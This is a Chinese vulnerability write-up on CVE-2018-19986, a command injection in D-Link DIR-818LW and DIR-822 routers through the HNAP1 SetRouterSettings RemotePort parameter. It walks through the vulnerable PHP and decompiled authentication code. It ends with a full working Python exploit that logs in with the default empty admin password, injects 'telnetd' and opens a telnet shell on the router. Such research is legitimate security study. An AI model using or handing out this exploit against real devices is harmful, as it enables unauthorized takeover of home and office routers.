D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中,通过HNAP1协议访问SetRouterSettings
时,RemotePort
参数存在操作系统命令注入漏洞。在SetRouterSettings.php
源码中,RemotPort
参数没有经过任何检查,直接存放于$path_inf_wan1."/web"
,并且在iptwan.php
中的IPTWAN_build_command函数中使用$path_inf_wan1."/web"
变量作为iptables
的参数,同样未做检查。构造SetRouterSettings.xml
,使RemotePort
中包含如`telnetd`的shell命令,利用该漏洞执行非法操作系统命令。
./etc/templates/hnap/SetRouterSettings.php:
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0); #$WAN1 = "WAN-1"; $nodebase="/runtime/hnap/SetRouterSettings/"; …… $remotePort = query($nodebase."RemotePort"); …… set($path_inf_wan1."/web", $remotePort);
./etc/services/IPTABLES/iptwan.php
function IPTWAN_build_command($name){ $path = XNODE_getpathbytarget("", "inf", "uid", $name, 0); …… $web = query($path."/web"); …… #web作为iptables的参数写入$_GLOBALS["START"] if (query($path."/inbfilter") != "") $inbfn = cut(query($path."/inbfilter"), 1, "-"); $hostip = query($path."/weballow/hostv4ip"); if ($hostip != "") { if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n"); fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n"); } else { if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n"); fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." -j ACCEPT\n"); } …… }
PS:服务器的web目录为/htdocs/web/
The Home Network Administration Protocol (HNAP) is an HTTP-Simple Object Access Protocol
(SOAP)-based protocol that can be implemented inside of network devices to allow advanced
programmatic configuration and management by remote entities.
HNAP是由Pure Networks开发的协议,后续由Cisco管理与开发。HNAP用于网络设备之间的交互,该协议基于SOAP和HTTP,以post的方式发包。
使用HNAP:在HTTP header中加入SOAPAction,该字段中会指明请求的操作,如Login,并向http://[ip]/HNAP1发送数据,数据形式为xml。
举个栗子,下图是登录时的抓包:
192.168.0.1向路由器192.168.0.2发送数据,在SOAPAction中指定了请求内容。
路由器收到之后以LoginResponse回复发送方,返回了一些登录需要的关键数据.
发送方收到之后,login的action由request变成了login,即发送用户名密码的过程,密码是由用户私钥处理过的数据。
路由器验证登录的用户名和密码,返回登录成功信息。
为了再深入理解HNAP,查看/htdocs/cgibin二进制文件,简化流程如下:
hnap_main(){ memset(acStack1708,0,0x100); getenv("HTTP_AUTHORIZATION"); soapaction = getenv("HTTP_SOAPACTION"); request_method = getenv("REQUEST_METHOD"); hnap_auth = getenv("HTTP_HNAP_AUTH"); cookie = getenv("HTTP_COOKIE"); referer = getenv("HTTP_REFERER"); memset(php_path,0,0x100); //当未指定soapaction时,默认请求为GetDeviceSettings if (soapaction == (char *)0x0) { soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings"; …… } else{ …… __s1 = strstr(soapaction,"http://purenetworks.com/HNAP1/Login"); if (__s1 != (char *)0x0) { …… parse_param_value(uVar2,"Action",action); parse_param_value(uVar2,"Username",username); parse_param_value(uVar2,"LoginPassword",pwd); parse_param_value(uVar2,"Captcha",captcha); iVar1 = strcmp(action,"request"); //当action为request时 if (iVar1 == 0) { //产生一个长度为0X32的随机字符串 //例:LVy04tz2fCRlZIu8vefr1OCKu9qTOQaktWkwOhy3rNnQfhWaKB get_random_string(random_string,0x32); //cookie_value为前十个字符 //例:LVy04tz2fC strncpy(cookie_value,random_string,10); //challenge为接下来20个字符 //例:RlZIu8vefr1OCKu9qTOQ strncpy(random_challenge,random_string_10,0x14); //public key为接下来20个字符 //例:aktWkwOhy3rNnQfhWaKB strncpy(public_key,random_string_30,0x14); sprintf(public_key_and_0,"%s%s",public_key,0); strcpy(COOKIE,cookie_value); strcpy(CHALLENGE,random_challenge); //HMAC_MD5就是常见的HMAC,hash算法为MD5。这里函数的输出放在第三个参数中 //例:hmac_1=E188583458DE427B6A71C2DD04CB632C HMAC_MD5(random_challenge,public_key_and_0,hmac_1); …… //set challenge,privatekey,captcha //返回soap xml }//end of action=request else{ if(strcmp(action,"login")==0 && cookie !=0) { find_uid = strstr(cookie,"uid="); if (find_uid == (char *)0x0) goto LAB_004137fc; //获取cookie的值 strncpy(cookie_value,find_uid + 4,10); //检查cookie __fd=get_cgdata_by_uid(acStack1904,cookie_value); if (__fd < 0) { iVar1 = -2; goto LAB_004137fc; } …… //由HMAC计算口令,以hmac_1作为key,对challenge进行hmac HMAC_MD5(CHALLENGE,hmac_1,PWD); …… //将计算的口令与发送方中的口令比较 __fd = strcmp((char *)PWD,pwd); if (__fd == 0) { login_response_xml("success"); …… } }//end of action=login } } //end of Login //不是login的情况 if (hnap_auth != (char *)0x0){ …… //hnap_auth用空格分为两部分 auth_1 = strtok(hnap_auth," "); auth_2 = strtok((char *)0x0," "); //将auth_2和soapaction连接起来 strcpy(auth_2_soapaction,auth_2); strcat(auth_2_soapaction,soapaction); …… HMAC_MD5(auth_2_soapaction,hmac_1,HMAC_AUTH); //比较auth_1和计算后的值 __fd = strcmp(auth_1,HMAC_AUTH); if (__fd == 0) { …… //如果不是Logout,就跳转到0x413330 __format = strstr(soapaction,"http://purenetworks.com/HNAP1/Logout"); if (__format == (char *)0x0) goto LAB_00413330; …… } }//end of soapaction!=0 LAB_00413330: //在soapaction中查找最后一个“/”之后的内容为operation __format = strrchr(soapaction,0x2f); operation = __format + 1; if (__format != (char *)0x0) { sVar3 = strlen(operation); if (operation[sVar3 - 1] == '\"') { operation[sVar3 - 1] = 0; } //hnap相关的php都在/etc/templates/hnap下 snprintf(php_path,0x100,"%s/%s.php","/etc/templates/hnap/",operation); //判断与请求相关的php是否存在,0为存在 iVar1 = access(php_path,0); if (iVar1 == 0) { …… snprintf(acStack1708,0x100,"%s%s.php\nShellPath=%s%s.sh\nPrivateKey=%s\n", "/etc/templates/hnap/",operation,&var_run,operation,&DAT_00438344); sobj_add_string(iVar4,acStack1708); …… uVar2 = sobj_get_string(); //该函数会建立一个socket并把上面的acStack1708字符发送给socket;这个socket是与本地的xmldb_sock建立的,理解为发送给本地以执行对应的php xmldbc_ephp(0,0,uVar2,stdout); …… snprintf(acStack1708,0x100,"%s",operation); iVar4 = FUN_004125c8(acStack1708,"/etc/templates/hnap//.shell_action"); //这里无论如何都会为format赋值,内容是执行一个sh脚本的命令 if (iVar4 == 0) { __format = "sh %s%s.sh > /dev/console"; } else { __format = "sh %s%s.sh > /dev/console &"; } //执行该脚本 //var_run变量对应的字符是"/var/run/" snprintf(acStack1708,0x100,__format,&var_run,operation); system(acStack1708); …… }
在上面的hnap_main代码中,代入本漏洞SetRouterSettings的情况,最后会执行sh /var/run/SetRouterSettings.sh
,这个脚本是动态生成的,在模拟固件并执行poc成功之后查看内容(还没找到具体生成sh脚本的代码)
#!/bin/sh echo "[$0]-->RouterSettings Change" > /dev/console event DBSAVE > /dev/console service HTTP.WAN-1 start > /dev/console #here!!! xmldbc -s /runtime/hnap/dev_status '' > /dev/console
HTTP.WAN-1是一种服务,对应于/etc/services/HTTP.WAN-1.php,该服务会开启IPT.WAN-1服务
<? include "/etc/services/HTTP/httpsvcs.php"; fwrite("w",$START,"#!/bin/sh\n"); fwrite("w", $STOP,"#!/bin/sh\n"); fwrite("a",$START,"service IPT.WAN-1 restart\n");#here!!!! fwrite("a",$START,"service STUNNEL restart\n"); httpsetup("WAN-1"); ?>
/etc/services/IPT.WAN-1.php会执行之前所说的iptables命令
<? include "/htdocs/phplib/trace.php"; include "/etc/services/IPTABLES/iptwan.php"; IPTWAN_build_command("WAN-1"); ?>
利用脚本是漏洞原作者写好的exp
import requests import telnetlib from hashlib import md5 import time import math trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256)) trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256)) blocksize = md5().block_size def hmac_md5(key, msg): if len(key) > blocksize: key = md5(key).digest() key += chr(0) * (blocksize - len(key)) o_key_pad = key.translate(trans_5C) i_key_pad = key.translate(trans_36) return md5(o_key_pad + md5(i_key_pad + msg).digest()) def HNAP_AUTH(SOAPAction, privateKey): b = math.floor(int(time.time())) % 2000000000 b = str(b)[:-2] h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper() return h + " " + b #输入IP和admin口令,通过读hnap_main的二进制,理解初始状态admin的口令为空(public_key_0:0代表空值) IP = '192.168.0.1' adminPw = '' command = "telnetd" # command injection id headers = requests.utils.default_headers() headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36" headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"' headers["Origin"] = "http://" + IP headers["Referer"] = "http://" + IP + "/info/Login.html" headers["Content-Type"] = "text/xml; charset=UTF-8" headers["X-Requested-With"] = "XMLHttpRequest" #构造一个action为request的请求发送给Login payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>' r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload) data = r.text #通过获取的publickey计算privatekey,根据privatekey计算口令的hmac(在上文中对应的是hmac_1) challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")]) cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")] publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")]) privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper() password = hmac_md5(privateKey, challenge).hexdigest().upper() #构造action为login的请求,发送用户名和口令 headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey) headers["Cookie"] = "uid=" + cookie payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>' r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload) #登录成功后访问SetRouterSettings设置路由器的一些配置,其中RemotePort被设置为command headers["Origin"] = "http://" + IP headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey) headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"' headers["Accept"] = "text/xml" payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command) print '[*] command injection' r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload) print(r.text) print '[*] waiting 30 sec...' time.sleep(30) #利用成功之后,服务端已经开启了Telnet服务,攻击者可直接连服务器的Telnet print '[*] enjoy your shell' telnetlib.Telnet(IP).interact()
【1】 https://github.com/pr0v3rbs/CVE/tree/master/CVE-2018-19986%20-%2019990
【2】InfoSec Handlers Diary Blog - More on HNAP - What is it, How to Use it, How to Find it https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648
【3】https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf
【4】Hacking the D-Link DIR-890L – ccSec | 漏洞人生 http://www.vuln.cn/6237